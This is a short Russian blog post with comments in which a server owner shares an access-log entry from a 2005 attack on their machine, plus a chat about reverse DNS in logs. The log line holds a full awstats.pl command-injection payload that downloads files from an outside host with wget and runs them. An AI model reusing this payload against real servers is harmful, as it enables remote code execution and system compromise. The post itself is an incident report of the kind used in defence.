А вот как нас поломали...

[b_a_t]

Что интересно, файлики все еще на том хосте :>


unix.bat.ru ip68-228-142-138.hr.hr.cox.net - - [07/Feb/2005:02:24:56 +0100] "GET /cgi-bin/awstats.pl?config=/awstats-cgi/awstats.pl?configdir=|echo%20;echo%20;cd%20/var/tmp;mkdir%20%22.logs%22;chmod%20777%20%22.logs%22;cd%20%22.logs%22;wget%20http://www.pc-mad.com/temp.log;mkdir%20%22.%20%22;chmod%20777%20%22.%20%22;cd%20%22.%20%22;wget%20http://www.pc-mad.com/kik;wget%20http://www.pc-mad.com/raven.c;chmod%20777%20*;./raven.c;echo%20;echo| HTTP/1.1" 404 1037 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10.1"

Да, Огнелис - самый хацкерский тул!

Comments

[dil.livejournal.com]

а вот то, что у тебя хосты ресолвятся в имена - это не есть хорошо. туда во-первых, можно написать всё, что угодно, и ты потом будешь долго думать, кто тебя хакал из штаб-квартиры IBM, а во-вторых просто много времени впустую тратится.

[b-a-t.livejournal.com]

Знаю, 100% согласен... Логи старые и вообще - машина практически не моя была :)

Да и вообще - надоело все ;)

[b-a-t.livejournal.com]

Надоело - в смысле - машины хотят либо убрать совсем из сетки, либо отдать нашему operational department, которые редкостные мм..чудаки. В общем, я хочу свою тачку поднимать... Где бы денег украсть....